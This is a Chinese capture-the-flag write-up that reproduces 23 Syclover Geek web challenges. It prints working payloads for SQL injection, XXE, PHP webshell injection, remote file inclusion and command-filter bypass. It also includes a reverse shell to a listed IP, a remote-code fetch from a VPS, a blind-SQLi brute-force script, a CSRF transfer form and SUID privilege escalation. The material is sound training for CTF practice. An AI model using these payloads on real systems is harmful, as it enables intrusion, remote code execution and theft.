花了好多天时间把去年的极客题目复现了一遍,虽然大部分题目的docker环境出了问题,但还是以各种方法本地调试复现一下,也学到了很多东西

收获:

  1. postgresql数据库查询,单引号的过滤以及系统函数pg_read_file和pg_ls_dir
  2. __halt_compiler();中断编译器执行
  3. disable_function的绕过
  4. 一些提权方法
  5. php弱类型绕过(16进制和科学计数法)
  6. php伪随机数漏洞
  7. CSRF学习

1.babysql

单引号被过滤,g=2和g=3-1返回结果相同,是数字型

1
1 order by 3--+
1
1 order by 4--+

没有返回结果说明字段为三

1
1 union select 1,2,3--+

没有返回结果,看了wp才知道这是PosgreSQL数据库,不支持类型转换,推测id是int类型,uname和passwd是char类型
所以:查询语句改成这样:
1
-1 union select 1,version(),version() --+

PostgreSQL 14.5 (Ubuntu 14.5-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, 64-bit
确定了数据库是PostgreSQL
1
2
3
4
5
6
7
8
9
10
11
用万能密码:-1 or 1=1--+得到提示 SYC{Fake_FLag_Real_IN_ffllaag_schema}
提示我们去ffllaag这个schema,查下schema的表:
-1 union select 1,$$a$$,(tablename) FROM pg_tables WHERE schemaname IN ($$ffllaag$$) --+
注意:
单引号的绕过:
1.chr(120)||chr(120)
||是字符串连接操作符,chr(120)是小写字母x,所以它的结果是xx
2.$$xx$$
$$表示包含特殊字符的字符串字面值,$$xx$$如果xx有单引号则不需要转义

pg_tables:是一个 PostgreSQL 系统目录表,用于存储数据库中所有表的信息

得到user表
1
2
3
4
5
6
-1 union select * from ffllaag.user--+
发现无法全部回显,筛选一下
-1 union select * from ffllaag.user where uname=$$admin$$--+
得到:
SYC{S@rry_Realflag_In_root_directory}
提示flag在根目录下

查看当前用户:
1
-1 union select 1,user,user --+

发现是postgres,默认是superuser,可以使用pg_ls_dir和pg_read_file函数
1
-1 union select 1,$$a$$,pg_ls_dir($$/$$)--+

发现不能全部回显出来,用order by试试
1
-1 union select 1,$$a$$,pg_ls_dir($$/$$) order by 3--+

发现文件名为aflag
1
-1 union select 1,$$aflag$$,pg_read_file($$/aflag,0,1000)--+

得到flag
1
SYC{1s_re@L_eaEASYsy_SQ&&L}

2.cointowin

此题考查原型链污染
一共三步:
登录,relief,import三个可控输入点
登陆只能控制⼀个username变量,relief可以控制⼀个数字,⽽import可以输⼊⼀个json字符串 三个点,username可以为任意字符串,但在整个程序中并没有任何可以执⾏username的点,放弃 relief可以控制获取的⾦币数,但是范围有限制,只能获取100-200之间的,并且只能在coin低于100时调⽤relief,那么只剩下import这 ⼀个点 先测试任意添加属性,看是否会报错

1
{"user":"username","hashcode":"b4a67a604f3e43582f929fc3aaea0141","coin":101,"3333":3333}

将其import 可以看到导⼊成功,但是修改coin或者user就会显⽰nononono, you are cheating me,那么看来只对user,coin以及 hashcode进⾏了校验,可以尝试获取加密的key以及算法,但这⾥明显不可以取,只能来看看导⼊任何新数据,试试原型链污染
1
{"user":"username","hashcode":"b4a67a604f3e43582f929fc3aaea0141","coin":101,"__proto__":{"coin":400000}}

当前⽤户已经有了coin属性,会优先访问本地的coin⽽不是原型链的coin,怎么解决? 登出,并创建新的账户,在创建coin属性前(即访问relief前)访问flag,就可以得到flag
1
SYC{finall_Answer_is_42}

3.easygame

此题考点jwt伪造和xxe注入

先来到/newUser,页面回显 创建失败,只能创建Syclover用户(传输userName和password)
直接post:userName=Syclover&password=666

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6IjY2NiIsImlkIjoxLCJ1c2VyTmFtZSI6IlN5Y2xvdmVyIiwiZXhwIjoxNjg0MjkyOTY2LCJpYXQiOjE2ODQyOTExNjZ9.PI_RAajKUVcNkzK0Iqv-oEOrK3K1S-O-yOq9VAd69vw

访问/secure/admin
页面回显 没有token!请传入authorization header里
传参:
1
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6IjY2NiIsImlkIjoxLCJ1c2VyTmFtZSI6IlN5Y2xvdmVyIiwiZXhwIjoxNjg0MjkyOTY2LCJpYXQiOjE2ODQyOTExNjZ9.PI_RAajKUVcNkzK0Iqv-oEOrK3K1S-O-yOq9VAd69vw

页面回显 当前用户信息id=1,userName=Syclover,password=666 不是admin不能继续下一关哦
这里可能是JWT伪造
利用网站 https://jwt.io/ 来伪造JWT的token
利用给的附件的字典和工具爆破出密钥,改下userName为admin
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6IjY2NiIsImlkIjoxLCJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjg0MjkyOTY2LCJpYXQiOjE2ODQyOTExNjZ9.OiTRoRkW_y9FCWB35vzJF90Y2uvWLx8qvW8FYB12JUE

传参得到:
1
5LiL5LiA5YWz55u05o6l5Y67L1htbOeci+eci+acieayoeacieS9oOaDs+imgeeahOS4nOilv+WQpyEhIQ==

base64解码:下一关直接去/Xml看看有没有你想要的东西吧!!!
访问/Xml
猜测是XXE漏洞:
改post,Content-Type为application/xml

1
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><user><firstname> &xxe;</firstname><lastname>Good!!!</lastname></user>

拿到flag

1
SYc{1_l0v3_th3_syc_fam1ly}

4.jsfind

进去发现是个小游戏
找找js文件中的敏感路径
工具地址GerbenJavado/LinkFinder:一个在JavaScript文件中查找端点的python脚本 (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
python linkfinder.py -i http://192.168.152.122:2204/ -d -o cli

得到:
js/wolf.js
js/random.js
js/angle.js
js/math.js
js/input.js
js/sound.js
js/menu.js
js/file.js
js/episodes.js
js/maps.js
js/game.js
js/player.js
js/sprites.js
js/powerups.js
js/ai.js
js/actorai.js
js/actors.js
js/actstat.js
js/weapon.js
js/doors.js
js/pushwall.js
js/areas.js
js/level.js
js/raycaster.js
js/renderer.js
js/aaa/aaa/aaa/bbb/bbb/bbb/bbb/bbb/bbb/aaa/aaa/aaa/aaa/aaa/bbb/flag.js
js/requestAnimFrame.js
js/base64.js
js/load.js
art/paused.png
art/getpsyched.png

或者可以在load.js里看到被注释的// “js/aaa/aaa/aaa/bbb/bbb/bbb/bbb/bbb/bbb/aaa/aaa/aaa/aaa/aaa/bbb/flag.js”,

1
//   flag = U1lDPX5bXTtTWUM9e19fXzorK1NZQywkJCQkOighW10rIiIpW1NZQ10sX18kOisrU1lDLCRfJF86KCFbXSsiIilbU1lDXSxfJF86KytTWUMsJF8kJDooe30rIiIpW1NZQ10sJCRfJDooU1lDW1NZQ10rIiIpW1NZQ10sXyQkOisrU1lDLCQkJF86KCEiIisiIilbU1lDXSwkX186KytTWUMsJF8kOisrU1lDLCQkX186KHt9KyIiKVtTWUNdLCQkXzorK1NZQywkJCQ6KytTWUMsJF9fXzorK1NZQywkX18kOisrU1lDfTtTWUMuJF89KFNZQy4kXz1TWUMrIiIpW1NZQy4kXyRdKyhTWUMuXyQ9U1lDLiRfW1NZQy5fXyRdKSsoU1lDLiQkPShTWUMuJCsiIilbU1lDLl9fJF0pKygoIVNZQykrIiIpW1NZQy5fJCRdKyhTWUMuX189U1lDLiRfW1NZQy4kJF9dKSsoU1lDLiQ9KCEiIisiIilbU1lDLl9fJF0pKyhTWUMuXz0oISIiKyIiKVtTWUMuXyRfXSkrU1lDLiRfW1NZQy4kXyRdK1NZQy5fXytTWUMuXyQrU1lDLiQ7U1lDLiQkPVNZQy4kKyghIiIrIiIpW1NZQy5fJCRdK1NZQy5fXytTWUMuXytTWUMuJCtTWUMuJCQ7U1lDLiQ9KFNZQy5fX18pW1NZQy4kX11bU1lDLiRfXTtTWUMuJChTWUMuJChTWUMuJCQrIlwiIitTWUMuJF8kXysoIVtdKyIiKVtTWUMuXyRfXStTWUMuJCQkXysiXFwiK1NZQy5fXyQrU1lDLiQkXytTWUMuXyRfK1NZQy5fXysiKCdcXCIrU1lDLl9fJCtTWUMuXyRfK1NZQy5fJCQrIlxcIitTWUMuX18kK1NZQy5fJCQrU1lDLl9fJCsiXFwiK1NZQy5fXyQrU1lDLl9fXytTWUMuXyQkKyJ7XFwiK1NZQy5fXyQrU1lDLl9fXytTWUMuJF9fKyJAXFwiK1NZQy5fXyQrU1lDLiQkJCtTWUMuX18kK1NZQy5fX18rU1lDLl8rIl9cXCIrU1lDLl9fJCtTWUMuX18kK1NZQy4kX18rIlxcIitTWUMuX18kK1NZQy4kXyQrU1lDLl9fJCsiXFwiK1NZQy5fXyQrU1lDLl9fJCtTWUMuXyQkKyJcXCIrU1lDLl9fJCtTWUMuX18kK1NZQy5fJCQrU1lDLiQkJF8rIl9cXCIrU1lDLl9fJCtTWUMuX19fK1NZQy4kX18rU1lDLl8kJCtTWUMuJCRfXytTWUMuXyQrU1lDLiQkXyQrU1lDLiQkJF8rIl9cXCIrU1lDLl9fJCtTWUMuX19fK1NZQy4kXyQrIlxcIitTWUMuX18kK1NZQy4kXyQrU1lDLiQkXysiXFwiK1NZQy5fXyQrU1lDLl9fXytTWUMuXyQkK1NZQy5fJCtTWUMuJCRfJCsiXFwiK1NZQy5fXyQrU1lDLl9fXytTWUMuJF8kKyJ9Jyk7IisiXCIiKSgpKSgpOw==

base64解码之后:
1
SYC=~[];SYC={___:++SYC,$$$$:(![]+"")[SYC],__$:++SYC,$_$_:(![]+"")[SYC],_$_:++SYC,$_$$:({}+"")[SYC],$$_$:(SYC[SYC]+"")[SYC],_$$:++SYC,$$$_:(!""+"")[SYC],$__:++SYC,$_$:++SYC,$$__:({}+"")[SYC],$$_:++SYC,$$$:++SYC,$___:++SYC,$__$:++SYC};SYC.$_=(SYC.$_=SYC+"")[SYC.$_$]+(SYC._$=SYC.$_[SYC.__$])+(SYC.$$=(SYC.$+"")[SYC.__$])+((!SYC)+"")[SYC._$$]+(SYC.__=SYC.$_[SYC.$$_])+(SYC.$=(!""+"")[SYC.__$])+(SYC._=(!""+"")[SYC._$_])+SYC.$_[SYC.$_$]+SYC.__+SYC._$+SYC.$;SYC.$$=SYC.$+(!""+"")[SYC._$$]+SYC.__+SYC._+SYC.$+SYC.$$;SYC.$=(SYC.___)[SYC.$_][SYC.$_];SYC.$(SYC.$(SYC.$$+"\""+SYC.$_$_+(![]+"")[SYC._$_]+SYC.$$$_+"\\"+SYC.__$+SYC.$$_+SYC._$_+SYC.__+"('\\"+SYC.__$+SYC._$_+SYC._$$+"\\"+SYC.__$+SYC._$$+SYC.__$+"\\"+SYC.__$+SYC.___+SYC._$$+"{\\"+SYC.__$+SYC.___+SYC.$__+"@\\"+SYC.__$+SYC.$$$+SYC.__$+SYC.___+SYC._+"_\\"+SYC.__$+SYC.__$+SYC.$__+"\\"+SYC.__$+SYC.$_$+SYC.__$+"\\"+SYC.__$+SYC.__$+SYC._$$+"\\"+SYC.__$+SYC.__$+SYC._$$+SYC.$$$_+"_\\"+SYC.__$+SYC.___+SYC.$__+SYC._$$+SYC.$$__+SYC._$+SYC.$$_$+SYC.$$$_+"_\\"+SYC.__$+SYC.___+SYC.$_$+"\\"+SYC.__$+SYC.$_$+SYC.$$_+"\\"+SYC.__$+SYC.___+SYC._$$+SYC._$+SYC.$$_$+"\\"+SYC.__$+SYC.___+SYC.$_$+"}');"+"\"")())();

控制台输出一下:
1
SYC{D@y0u_LiKKe_D3code_EnCodE}

5.rceus

考点:

  1. __halt_compiler();中断编译器执行
  2. disable_function的绕过
  3. 提权
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$code = $_GET['cmd'];
if('syclover' === preg_replace('/;+/','syclover',preg_replace('/[A-Za-z_\(\)]+/','',$code))){
eval($code.'syclover!');
} else {
echo 'nonono';
}
echo file_get_contents(__FILE__);
?>

分析代码可以知道要想进入eval就要有分号;
而且cmd里只能有[A-Za-z_\(\)]这些字符,其他的单双引号或者/都会使结果不等于syclover从而无法进入eval函数
进入之后要怎么绕过这个eval呢?

__halt_compiler();可以中断编译器的执行

执⾏命令后看phpinfo,发现有disalbe_function需要绕过,常⻅的攻击⼀把梭不⾏,发现很关键的过滤了fwrite,于是修改脚本⾥的 fwrite为fputs。
常规的绕过代码:exploits/php-filter-bypass/exploit.php at master · mm0r1/exploits · GitHub
这里修改一下,绕过disable_function,执⾏反弹shell
需要提权,查看根⽬录 ,可以执⾏根⽬录⾥的 readsecret,发现需要交互,环境中没有py,所以script /dev/null,反弹完整的 shell,执⾏后得到secret,即root的密码,su切换到root,执⾏/readflag
官方payload:

1
2
3
?cmd=eval(end(current(get_defined_vars())));__halt_compiler();&s=file_put_contents('/tmp/1',file_get_contents('http://vps:port/1.txt')); ⽤于在本地存储php⽂件 

?cmd=eval(end(current(get_defined_vars())));__halt_compiler();&s=include('/tmp/1'); 执⾏⽂件

什么是script /dev/null?
普通的反弹shell无法交互,我们可以这样:
监听端:
1
stty -echo raw; nc -lp 6663; stty sane

目标方:
1
nc -c '/bin/bash -c "script /dev/null"' 123.60.42.113 6663

此时就是完整的shell

6.UploadRce

通过备份文件信息泄露得到:
.index.php.swp

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);

if($str != NULL){
echo ':Where is the source code of config.php?';
}

$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

.config.php.swp

1
2
<?php
$option='chinfo';

1
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

将字符串$option='任意内容';替换为`$option=’$str’;
简单本地fuzz一下:

1
2
3
4
5
6
7
8
9
10
11
12
?option=\';phpinfo();?>
经过addslashes函数处理后的结果:
$str=\\\';phpinfo();?>
经过preg_replace函数的替换,config.php里的文件从
<?php
$option='chinfo';
变成:
<?php
$option='\\\';phpinfo();?>';
等于:
<?php
$option='\\';phpinfo();?>';

此时正好闭合前面的单引号,后面随便插入php语句
payload:
1
\';<?php eval(@$_POST[a]); ?>

payload2:
借鉴官方的wp:用换行符绕过正则匹配

1
?option= a';%0a?><?php eval(@$_POST[a]); ?>;//

此时config.php为
1
2
3
<?php
$option=' a\';
?><?php eval(@$_POST[a]); ?>;//';

再让a回复正常,此时传option不会影响shell:
1
?option=a

config.php:
1
2
3
<?php
$option=' a';
?><?php eval(@$_POST[a]); ?>;//';

屏幕截图 2023-07-08 214451.png

7.WelcomeSQL

简单数字型sql注入,和sqli-labs第二关一样

8.noobsql

二次注入:
官方wp

1
1' union select "" into outfile '//var//www//html//111.php' #

9.easysql

提⽰机器⼈查看robots.txt 继续 t1ips.php 给了sql查询语句 直接写脚本爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests  
import datetime

url = 'http://easysql.challenge.sycsec.com/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag = ''
for j in range(50):
for i in dict:
data = {
"username": "vanzy",
"secretpass": f"1'/**/or/**/if(secretpass/**/like/**/'{flag + i}%',sleep(3),1)#"
}
time1 = datetime.datetime.now()
res = requests.post(url, data=data)
time2 = datetime.datetime.now()
difference = (time2 - time1).seconds
if difference > 1:
flag = flag + i
print(flag)
break

10.justphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

error_reporting(0);

include_once ("flag.php");

highlight_file(__FILE__);

$sleeptime=$_GET['SleepTime'];

if(isset($sleeptime))

{

   if(!is_numeric($sleeptime))

   {

      echo '时间是一个数字啊喂!';

   }

   else if($sleeptime < 86400 * 30)

   {

      echo '这点时间哪够Canzik学长睡啊';

   }

   else if($sleeptime > 86400 * 60)

   {

      echo '别让Canzik学长睡死在这啊!';

   }

   else

   {

      echo '<br/>Canzik学长很满足,表示这次把这辈子的觉都睡完啦!flag在这,自己拿吧:<br/>';

      sleep((int)$sleeptime);

      echo $flag;

   }

}

?>

86400*30=2592000,科学计数法:2.592e6,十六进制:0x27ac40
payload:

1
?SleepTime=2.6e6

11.ezrfi

经过简单fuzz可以知道替换了http://还在后面加个.html后缀名,通过url参数的?file可以猜测是文件包含
在vps或者虚拟机上挂个shell.html

1
2
3
<?php
eval($_POST['rfi']);
?>

修改url:

1
?file=hthttp://tp://123.60.42.113/shell

在post可以执行命令也可以蚁剑连上
屏幕截图 2023-07-08 231223.png

12.babyupload

⽆过滤上传⼀句话⽊⻢即可

13.来发个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-- <script type="text/javascript">
window.onload = function(){
var btn = document.getElementById('btn');
btn.onclick = function(){
var uname = document.getElementById('ifflag').value;
var xhr = new XMLHttpRequest();
var param = 'ifffflag='+uname;
xhr.open('post','flag.php',true);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(param);
xhr.onreadystatechange = function(){
if(xhr.readyState == 4){
if(xhr.status == 200){
alert(xhr.responseText);
}
}
}
}
}
</script> -->

这段代码被注释了,⼤致意思就是给flag.php以post的⽅式发送⼀个ifffflag=flag就能拿到flag,所以这⾥可以⽤hackbar/burp构造请求 包getflag

14.Can Can Need

伪造IP:Client-Ip: 127.0.0.1
Referer: sycsec.com
伪造UA:User-Agent: Syclover Browser
伪造邮箱 From: VanZY@Syclover.com

补:
伪造代理可以用Via

15.ezrce

前面那段离谱的注释是与佛论禅编码
但是这里的开头是 佛又曰
所以应该是 与佛论禅重制版V2
在这个网站:https://tools.takuron.top/talk-with-buddha/
里得到新佛曰:
再在这个网站:http://hi.pcmoe.net/Buddha.html
得到:

1
我都懂,我都明白,我是没有策略的防火墙,是被无限绕过的WAF,是扫不出马的EDR,是丢流量的探针,是没升级的态势感知,我守不住内网,也守不住你。#flag或许会在当前目录#

;可以先执行前面后执行后面
1
?ip=127.0.0.1;a=l;b=s;$a$b

看到有个may_b3_y0u_can_pr0t3ct.php

拼接cat${IFS}may_b3_y0u_can_pr0t3ct.php:

1
?ip=127.0.0.1;a=ca;b=t;c=may_b3_y0u_can_pr0t3ct.ph;d=p;$a$b${IFS}$c$d

SYC{y0u_n33d_a_g1rfr1nd}

16.Not_Stay

考点:exit死亡绕过

屏幕截图 2023-07-09 195723.png

分析源码:

  1. uuid函数就是给$_COOKIE变量加个随机值
  2. 有两个file_put_contents函数,第一个写内容到/tmp/uuid()生成的值.x里,但是镜像没用这个.x导致了非预期解,第二个file_put_contents函数往filename里写'<?php exit();?>'.$file_data
  3. 这里的waf.php里有exif_imagetype函数,是检查是否有GIF89a或PNG标识的
  4. 第二个file_put_contents需要绕过exit
    首先绕过exit可以直接用base64编码的方式,但是base64只能识别64个字符[a-z0-9A-Z+], 将会被识别为 phpexit ,解码以4byte⼀ 组,由于我们不知道它使用的什么字符编码,也不知道一个字母数字对应多少个字节,可以不断在GIF89a和shell的base64编码之间加字母试探
    1
    filename=php://filter/convert.base64- decode/resource=/var/www/html/upload/df405a9-1c31-b8c5-8ce8-36e846421f33/shell.php&data=GIF89aasdPD9waHAgQGV2YWwoJ F9QT1NUWycxMjMnXSk/Pg==

非预期解:利用第一个file_put_contents

1
2
3
4
post:
data=<?php @eval($_POST['test']);?>
Cookie:
path=../var/www/html/upload/test.php

17.easyphp

提示备份文件,得到源码,简单pop链子绕过wakeup

1
2
3
O:15:"BillyHerrington":1:{s:1:"a";O:8:"Baoglady":2:{s:1:"b";O:12:"VanDarkholme":1:{s:1:"d";N;}s:1:"c";s:17:"system('whoami');";}}

O:15:"BillyHerrington":1:{s:1:"a";O:8:"Baoglady":2:{s:1:"b";O:12:"VanDarkholme":1:{s:1:"d";N;}s:1:"c";s:26:"system('cat /flagishere');";}}

18.edit_php

考点:

  1. 类似ueditor的任意⽂件上传。
  2. 提权
    抓包发现catchImg.php?file_url=example.jpg
    访问catchImg.php出现源码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <?php
    if(!isset($_COOKIE['path'])){
    header("Location: /index.php");
    exit();
    }else{
    $path = $_COOKIE['path'];
    if(!is_dir('upload/'.$path)){
    mkdir('upload/'.$path);
    chmod('upload/'.$path,0755);
    }
    function waf($str){
    $uri = parse_url($str, 5);
    $checklist = ['gif','jpg','png'];
    $ext = substr($uri,strpos($uri,".")+1);
    if(in_array($ext,$checklist)){
    return $uri;
    }
    return "";
    }

    if(isset($_GET['file_url'])){
    $contents = file_get_contents($_GET['file_url']);
    $ext = substr($_GET['file_url'], strrpos($_GET['file_url'], ".") + 1);
    $uri = waf($_GET['file_url']);
    if($uri !== ""){
    $file_name = substr($uri,''==strpos($uri,'/')?0:1,strpos($uri,'.')-(''==strpos($uri,'/')?0:1));
    file_put_contents('upload/'.$path.'/'.md5($file_name).'.'.$ext,$contents);
    }
    } else {
    echo "no resource!";
    header("Location: /index.php");
    show_source(__FILE__);
    exit();
    }
    }
    header("refresh: 0;url=/showImage.php");
    echo "success";
    ?>
    分析:
  3. waf函数用strpos(从左往右第一个)检查后缀名是否是png,jpg,gif
  4. ext变量是从右往左得到后缀名,最后的file_put_contents也是这么直接拼接ext变量的,所以可以用test.png?.php绕过waf函数的限制
    vps上挂个马命名为test.png,
    1
    ?file_url=http://ip/test.png?.php
    连上蚁剑,无法读取flag的内容需要提权
    虚拟终端:
    1
    2
    3
    4
    find / -perm -u=s -type f 2>/dev/null
    发现这里有 dd 命令

    直接用 dd if=/f1ag_is_here_y0u_k0nw 读取flag

    19.ezrequest

    考点:python的爬虫。re,request模块
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests  
    import re
    s=requests.session()
    s.keep_alive=False
    get_url='http://testphp:12/?action=index'
    post_url='http://testphp:12/?action=check'
    r=s.get(url=get_url,verify=False)
    get_cookie=r.cookies
    #print(get_cookie)
    matched=re.search('依梦学姐觉得这个课更好摸鱼:([\d]+)号([\u4e00-\u9fa5]+)',r.text.replace('\n',''))
    _num=matched.group(1)
    _class=matched.group(2)
    print(_num,_class)
    data={
    'num':_num,
    'class':_class.encode('utf-8')
    }
    response=requests.post(url=post_url,data=data,cookies=get_cookie)
    print(response.text)
    for x in response.cookies:
    print(x)
    结果:
    1
    2
    3
    23 舞龙舞狮
    抢到了!依梦学姐很满意并送了你一块小饼干
    <Cookie flag=SYC{just_@_ez_requ3st} for testphp.local/>

20.login_into_my_heart

考点:
字符增多的反序列化字符逃逸
经过提示的base64解码可以得到:
O:3:”Log”:3:{s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:8:”username”;s:5:”hacker”;s:7:”islogin”;i:0;}

1
2
3
4
5
admin->hacker 数量还是5,逃逸了一个字符
构造payload:";s:7:"islogin";i:1;}一共21个字符
输入21个admin就能逃逸出去payload:
最终payload:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:7:"islogin";i:1;}

21.登录试试

md5加密密码爆破

22.drinktea

考点:CSRF漏洞,php伪随机数漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--?php
//真的随机吗?
$seed = file_get_contents("/seed");
mt_srand($seed);
mt_rand();// == 1567320364
mt_rand();
mt_rand();
mt_rand();
mt_rand();
mt_rand();
$code = md5(mt_rand());
echo file_get_contents("random.php");
?-->

PHP伪随机数漏洞,可以看这篇(143条消息) PHP伪随机数漏洞,以及php_mt_seed脚本的使用_php_mt_seed.c_sGanYu的博客-CSDN博客
使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
./php_mt_seed 1567320364 
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xa8000000 - 0xabffffff, speed 21681.3 Mseeds/s
seed = 0xaa4cbfec = 2857156588 (PHP 3.0.7 to 5.2.0)
seed = 0xaa4cbfed = 2857156589 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 22251.9 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x000a2c2a = 666666 (PHP 7.1.0+)
Found 3, trying 0x16000000 - 0x17ffffff, speed 251.1 Mseeds/s
seed = 0x16b73644 = 381105732 (PHP 5.2.1 to 7.0.x; HHVM)
Found 4, trying 0xbe000000 - 0xbfffffff, speed 249.6 Mseeds/s
seed = 0xbf3e7fc3 = 3208544195 (PHP 7.1.0+)
Found 5, trying 0xfe000000 - 0xffffffff, speed 249.2 Mseeds/s
Found 5

找到666666,利用上面的php代码生产验证码,根据留言提示可知利用反馈页面进行csrf攻击,来根据转账页面伪造转账来赚米,vps放csrf.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="<http://mc.vveelin.com.cn:8102/trans.php>" method="POST">
<input type="hidden" name="username" value="user" />
<input type="hidden" name="money" value="999999999999" />
<input type="submit" value="Submit request" />
</form>
<script language=javascript>
setTimeout("document.forms[0].submit()",1000)
</script>
</body>
</html>

然后让对方访问这个html文件,到账买双皮奶拿flag

23.LoveSyc

源代码